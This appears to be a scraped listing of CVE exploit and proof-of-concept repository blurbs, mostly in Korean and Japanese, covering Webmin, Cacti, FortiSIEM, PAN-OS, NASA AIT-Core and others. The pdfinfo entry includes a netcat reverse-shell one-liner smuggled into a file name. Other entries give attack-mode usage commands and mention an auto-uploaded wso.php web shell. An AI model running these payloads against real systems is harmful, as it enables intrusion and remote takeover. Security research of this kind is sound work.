CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" 면책 조항 이 도구는 학습, 연구 및 자가 점검 용도로만 사용됩니다. 불법적인 목적으로 사용해서는 안 됩니다. 이 도구 사용으로 인해 발생하는 모든 위험은 저와 관련이 없습니다! Disclaimer This tool is for study, research, and...

CVE-2022-36231

CVE-2022-36231 루비 젬 pdfinfo /dev/null initialize 메서드와 마찬가지로 @pdfpath 변수에는 검증이 수행되지 않습니다. 이를 통해 ;를 사용한 명령 체이닝으로 임의의 명령을 실행할 수 있습니다. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 위 코드 조각은 포트 4444의 127.0.0.1로 리버스 셸을...

CVE-2026-105105

The NASA-AMMOS AIT-Core (versions through 3.1.1 ) is vulnerable to CWE-306: Missing Authentication for Critical Function in the ait.core.server telemetry and command broker (ait-server ). The underlying cause is that the ZeroMQ broker binds its XSUB and XPUB sockets to all network interfaces by d...

EUVD-2026-92014

CWE-306: Missing Authentication for Critical Function in the ait.core.server telemetry and command broker ait-server in NASA-AMMOS AIT-Core through 3.1.1 allows an unauthenticated remote attacker with network access to the ZeroMQ message bus to inject spacecraft command data, exfiltrate command a...

CVE-2026-105105 Unauthenticated ZeroMQ command/telemetry bus in AIT-Core allows remote spacecraft command injection and telemetry exfiltration

CWE-306: Missing Authentication for Critical Function in the ait.core.server telemetry and command broker ait-server in NASA-AMMOS AIT-Core through 3.1.1 allows an unauthenticated remote attacker with network access to the ZeroMQ message bus to inject spacecraft command data, exfiltrate command a...

CVE-2025-61299_POC

CVE-2025-61299POC 인증된 명령어 삽입 에서 Nagios XI 2024R1 CVE-2025-61299...

CVE-2022-30525_check

CVE-2022-30525check 설명: 이 스크립트는 펌웨어 버전 5.005.21 Patch 1을 실행하는 Zyxel USG FLEX 장치에서 OS 명령 주입 취약점CVE-2022-30525의 존재 여부를 확인합니다. 이 취약점으로 인해 공격자는 취약한 장치에서 특정 파일을 수정하고 OS 명령을 실행할 수 있습니다. 사용 방법: 시스템에 Python 3이 설치되어 있는지 확인하세요 스크립트를 다운로드하여 로컬 컴퓨터에 저장하세요 명령 프롬프트 또는 터미널 창을 열고 스크립트가 저장된 디렉터리로 이동하세요 다음 명령으로...

CVE-2023-34960

CVE-2023-34960 Chamilo コマンドインジェクション 自動アップロードシェル付き。 自分のロジックを使用 脆弱性の結果でパスディレクトリを確認すると、アクセスシェル wso.php が見つかります。 インストールと実行 $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $ cd CVE-2023-34960 $ pip install -r requirements.txt $ python3 finder.py 注意 その他のコマンドについては、finder.py のポイント 66行目 を自分で編集できます...

CVE-2019-15107

CVE-2019-15107 Webmin RCE Error - Perl execution Failed Your password has expired, and a new one must be chosen.uid=0root gid=0root groups=0root Failed to change password : The current password is incorrectuid=0root gid=0root groups=0root...

CVE-2024-23108

CVE-2024-23108: Fortinet FortiSIEM 인증되지 않은 2차 명령 주입 취약한 FortiSIEM 장비에서 루트 권한으로 명령을 블라인드 실행하는 개념 증명 익스플로잇 블로그 포스트 근본 원인 및 침해 지표는 여기에서 확인하세요: https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive 사용법 % python3 CVE-2024-23108.py -...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC: 인증 우회 및 원격 코드 실행 이 저장소는 CVE-2022-46169 취약점에 대한 PoC를 포함하고 있으며, 공격자가 인증을 우회하고 영향을 받는 시스템에서 원격으로 임의 코드를 실행할 수 있게 합니다. 이 취약점은 2022년 8월 18일에 출시된 Cacti 버전 1.2.22에 영향을 미칩니다. 이 취약점은 remoteagent.php에 IP 주소를 검색하고 poller 테이블 내 항목을 확인하는 함수가 있기 때문에 발생합니다. 항목이 발견되면 함수는 true를 반환하고 클라이언트는...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script CVE-2012-2982 인증 RCE 취약점/file/show.cgi/bin 엔드포인트을 위한 간단하고 짧은 익스플로잇 스크립트입니다. Webmin RCE 익스플로잇 — CVE-2012-2982 이 저장소는 /file/show.cgi/bin/ 엔드포인트를 통해 알려진 원격 코드 실행 취약점을 대상으로 하는 Webmin 🧠 참고 페이로드는 기본적으로 bash -i 리버스 셸을 사용합니다. 주입된 페이로드의 끝에 있는 |는 성공적인 실행에 중요합니다. Webmin 1.580에서...

CVE-2025-32433_PoC

CVE-2025-32433Erlang-OTP 이 스크립트는 Erlang 기반 SSH 서버를 실행하는 시스템에서 치명적인 사전 인증 취약점을 테스트하도록 설계된 커스텀 보안 도구입니다. 이 스크립트는 Erlang 기반 SSH 서버임베디드 시스템, IoT 기기 및 일부 백엔드 서비스에 사용됨를 실행하는 시스템에서 치명적인 사전 인증 취약점을 테스트하도록 설계된 커스텀 보안 도구입니다. 테스트 대상 취약점은 CVE-2025-32433과 유사하며, SSH 핸드셰이크 단계에서 인증되지 않은 원격 명령 실행을 허용합니다. 작동 방식 대상...

CVE-2016-10033

CVE2016-10033 익스플로잇 PoC 이 저장소는 취약한 버전의 WordPress에서 CVE2016-10033을 익스플로잇하는 데 필요한 파일을 포함하고 있습니다. 이 지침을 통해 Apache 서버를 실행 중인 사용자로 WordPress를 실행 중인 컨테이너에서 역방향 대화형 셸Pseudo-TTY 아님을 얻을 수 있습니다. 이 익스플로잇은 어떤 인증이나 플러그인도 필요하지 않습니다. 일반 WordPress 코드와 WordPress에서 이메일을 보내기 위한 Exim4 MTA대부분의 서버에 설치됨만 있으면 됩니다. 전체 권고...

cve-2020-7247

cve-2020-7247 익스플로잇 제목: OpenSMTPD 6.6.2 - 원격 코드 실행. 새 날짜: 2020-01-29. 익스플로잇 작성자: 1F98D. 원본 작성자: Qualys Security Advisory. 공급업체 홈페이지: https://www.opensmtpd.org/. 소프트웨어 링크: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1. 버전: OpenSMTPD 6.6.2. 테스트 환경: OpenBSD 6.6, OpenBSD 6.5, OpenBSD 6....

CVE-2021-46704-POC

CVE-2021-46704-POC CVE-2021-46704 GenieACS コマンドインジェクション POC genieacs パッケージに影響、バージョン =1.2.0 1.2.8 修正方法は？ genieacs をバージョン 1.2.8 以上にアップグレードしてください。 このパッケージの影響を受けるバージョンは、ping ホスト引数 lib/ui/api.ts および lib/ping.ts を介したコマンドインジェクションに対して脆弱です。これは、不十分な入力検証と、欠落した認可チェックが組み合わさったことに起因します。...

CVE-2024-53615

CVE-2024-53615 Karl Ward의 files.gallery v0.3.0 0.11.0에서 비디오 썸네일 렌더링 구성요소에 존재하는 명령 주입 취약점으로, 원격 공격자가 조작된 비디오 파일을 통해 임의 코드를 실행할 수 있습니다. 전제 조건: PATH에 ffmpeg가 있어야 함 config.php: 'allowupload' = true PHP 설정에서 exec가 활성화되어 있어야 함 취약점은 버전 0.9.12에서 가져온 다음 라인비디오 미리보기를 생성하는 부분에 있습니다: $cmd = $ffmpegpath . ' -s...

xerial__sqlite-jdbc_CVE-2023-32697_3-41-2-1

SQLite JDBC Driver SQLite JDBC는 Java에서 SQLite 데이터베이스 파일에 접근하고 생성하기 위한 라이브러리입니다. 저희 SQLiteJDBC 라이브러리는 Windows, macOS, Linux 등을 포함한 주요 OS용 네이티브 라이브러리가 단일 JARJava Archive 파일에 통합되어 있으므로 별도 구성이 필요 없습니다. 사용법 ➡️ 더 많은 사용 예제와 구성 방법은 USAGE.md에서 확인할 수 있습니다. SQLite JDBC는 JDBC API를 통해 SQLite 데이터베이스에 접근하기 위한...

CVE-2024-3400

CVE-2024-3400 설명 특정 PAN-OS 버전 및 특정 기능 구성에서 Palo Alto Networks PAN-OS 소프트웨어의 GlobalProtect 기능 내 임의 파일 생성 취약점으로 인한 명령 주입은 인증되지 않은 공격자가 방화벽에서 루트 권한으로 임의 코드를 실행할 수 있게 할 수 있습니다. Cloud NGFW, Panorama 어플라이언스 및 Prisma Access는 이 취약점의 영향을 받지 않습니다. CVE-2024-3400 Palo Alto PAN-OS 취약점용 Nuclei 템플릿 이 저장소에는 Palo...

CVE-2024-31317-PoC-Deployer

CVE-2024-31317-PoC-Deployer Android 913 기기를 대상으로 하는 CVE-2024-31317 개념 증명PoC 악용 코드 배포 도구입니다. 📝 프로젝트 설명 CVE-2024-31317-PoC-Deployer는 CVE-2024-31317 취약점 악용에 필요한 모든 파일을 신속하게 생성하고 구성하는 자동화 배포 스크립트입니다. 이 취약점은 Android 913 기기에 영향을 미치며, Zygote 프로세스를 통한 권한 상승 및 임의 코드 실행을 허용합니다. 🚨 취약점 정보 CVE ID :...